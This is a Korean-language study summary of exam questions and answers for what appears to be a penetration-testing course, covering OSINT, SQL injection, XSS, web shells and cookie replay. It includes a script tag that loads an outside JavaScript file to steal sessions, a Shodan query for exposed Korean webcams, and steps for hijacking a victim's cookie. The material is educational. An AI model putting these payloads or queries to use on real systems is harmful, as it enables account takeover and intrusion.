사침대 중간고사 정리본

객1) 모의해커와 범죄자가 사용하는 침투 기술은 다르다. -> X

객2) OSINT를 이용한 정보 수집은 방어 입장(DEFENSIVE)뿐만 아니라, 공격자 입장(OFENSIVE)에서도 고려해야 한다. -> O

방어적 관점은 침해 대응에 대해 분석하고 공격 패턴을 업데이트, 보안 시스템에 적용하는 것으로, 후속 대응의 관점이다. 공격적 관점은 선 대응을 위해 취약점을 다양한 관점에서 바라보는 것이다.

객3) 구글 검색, 쇼단, Archive 등 공개 서비스는 모두 크롤링(Crawl) 기법을 이용해서 수집한다. -> O

크롤링은 검색 서비스에서 정보를 긁어와 캐시 서버에 저장함.

객4) SQL Injection 공격 기법 중 웹 서비스 화면에 에러가 발생하지 않아 참(True) 과 거짓(False)로 인해 도출되는 결과 값 만을 이용하여 데이터베이스 정보를 획득한다. -> 2번

1. 에러기반 SQLI
2. 블라인드 SQLI
3. Stack query injection
4. Union query injection

블라인드 SQLI는 쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격으로, 출력 내용이 참과 거짓 밖에 없어서 DB의 내용을 추측하여 쿼리를 조작한다.

에러기반 SQLI는 입력 값들을 하나씩 넣어서 에러 메시지를 통해 정보 확인

객5) 다른 사용자 게시물 수정 및 삭제, 관리자 페이지 인증 없이 접근 가능, 공인인증서 우회를 하여 다른 사용자 거래정보 확인 등을 하는 웹 취약점 점검 항목은? -> 4

1. 파일 업로드 취약점
2. XSS 취약점
3. CSRF 취약점
4. 인증처리 미흡 취약점

인증처리 미흡 사례

1. 관리자의 ID, PW 없이 접근
2. 다른 사용자의 게시물 삭제 및 수정
3. 다른 사용자의 이력서 제출한 페이지 접근
4. 쇼핑몰 가격 조작
5. 회원 가입하는 과정에서 주민번호 또는 특정 값 우회
6. 이벤트 참여 시 우회해서 당첨

객6) XSS 취약점이 존재하는 게시판에 스크립트를 삽입하여 다른 사용자의 세션 정보를 획득하려고 한다. a.js 악성 스크립트를 사용할 것인데, 이때 공격에 사용하는 자바 스크립트는? -> 2

1. <iframe></iframe>
2. <script></script>
3. <video></video>
4. <hl></hl>

Iframe은 글 중 임의의 위치에 또 다른 HTML 문서를 보여주는 내부 프레임. 웹 문서 중간에 다른 웹 문서나 텍스트 파일 같은 내용을 원하는 크기로 불러들여 보여주는 태그

<script src="http://www.a.com/a.js"></script> //www.a.com이라는 사이트에서 a.js라는 파일을 불러와서 실행시키겠다.

객7) 클라이언트 스크립트(HTML, Javascript 등)을 이용해서 사용자에게 악의적인 서버로 유도 후, 쿠키 정보 수집, 피싱 사이트 유도 등을 할 수 있는 취약점(공격)은?

1. 파일 업로드 취약점
2. XSS 취약점
3. CSRF 취약점
4. 인증처리 미흡 취약점

XSS 취약점: 공격자에 의해 작성된 스크립트가 다른 사용자에게 전달되는 것으로, 공격자가 웹 브라우저나 서버에 악의적인 스크립트를 보내면 피해자가 서버나 브라우저에 접근하는 과정에서 공격자가 심어둔 악성 스크립트가 실행되는 취약점이다.

목적

1. 사용자의 권환 획득. 가령 게시판에 악성 스크립트 삽입한 후 접속 시 사용자 정보를 획득한다
2. 피싱사이트 유도.
3. 악성코드 배포. 범죄자들의 주 목적으로 랜섬웨어, 노트북 웹 캠 등을 장악함.

객8) 서버의 주요 포트 열람 여부를 확인하여, 불필요한 서비스를 체크하는 포트 스캔의 대표적인 도구는? -> 2

1. 구글
2. Nmap: 포트 정보를 확인하는 대표적인 툴
3. Nikto: 간단한 정보를 수집하고 취약점 찾아내는 도구
4. 크롬 브라우저

객9) SQL Injecton(SQLi) 공격은 입력 값 검증 미흡에 의해 데이터베이스가 노출되는 취약점이다. SQL Injection 공격이 도출되는 방법에 따라 공격을 해야 하는 순서를 나열한 것은?

답: 에러기반 SQLI -> 블라인드 SQLI -> Time based SQLI

주1) 쇼단 서비스에서 “한국 기준 KT에서 webcam” 노출되어 있는 정보를 획득할 때 쓰는 옵션은?

답: webcam country."KR" org."Korea Telecom"

주2) 구글 해킹 기법으로 사용될 수 있는 옵션을 한 exploit.db를 통해 공개를 하며, 다양한 웹 스캐너에서 활용하고 있는 데이터베이스는?

exploit-db: 알려진 공격 코드 등이 모아져 있는 사이트 exploit: 공격 코드

답: GHDB -> 구글 해킹 데이터베이스의 약자

주3) 다양한 크롤링 기법을 사용하는 봇(BOT)이 자신의 서비스에서 중요한 디렉터리의 정보를 가져가지 못하게 웹 루트에 설정하는 파일은?

답: robots.txt 파일 -> 로봇 배제 표준으로 웹 페이지에 로봇이 페이지를 읽고 접근하지 못하게 함

주4) 웹 서버에 악의적인 스크립트가 포함된 파일을 올려서 서버를 침투로 목적으로 공격한다. 이 파일은 웹을 통해 시스템 명령어를 수행할 수 있다. 이때 사용하는 악의적인 파일을 칭하는 용어는?

답: 웹 쉘

주5) XSS 취약점을 이용해 다른 사용자의 쿠키 정보를 획득 후, 아이디와 패스워드 없이 다른 사람의 쿠키 정보로 바꿔 권한을 획득하는 공격 기법은?

답: 쿠키 재사용 공격(reply attack)

공격자 입장에서 사용자 계정을 ID와 패스워드 없이 쿠키를 이용해 접근. 이때 사용하는 공격 기법이 쿠키 재사용 공격. 쿠키 정보를 F12에서 빅팀(피해자)의 쿠키 정보로 바꾸면 아이디 패스워드 없이 계정 접근 가능. 해결을 위해 쿠키 생성 시 사용자의 IP 주소를 받아 쿠키 + IP 주소 등 값들을 합하고 암호화하여 php에 제공한다.

주6) 정보 수집 단계에서 오픈된 서비스를 이용하여 자사 서비스의 주요 정보 노출을 확인해야 한다. OSINT 서비스를 이용하게 되는데, OSINT의 Full Name?

답: open source intelligence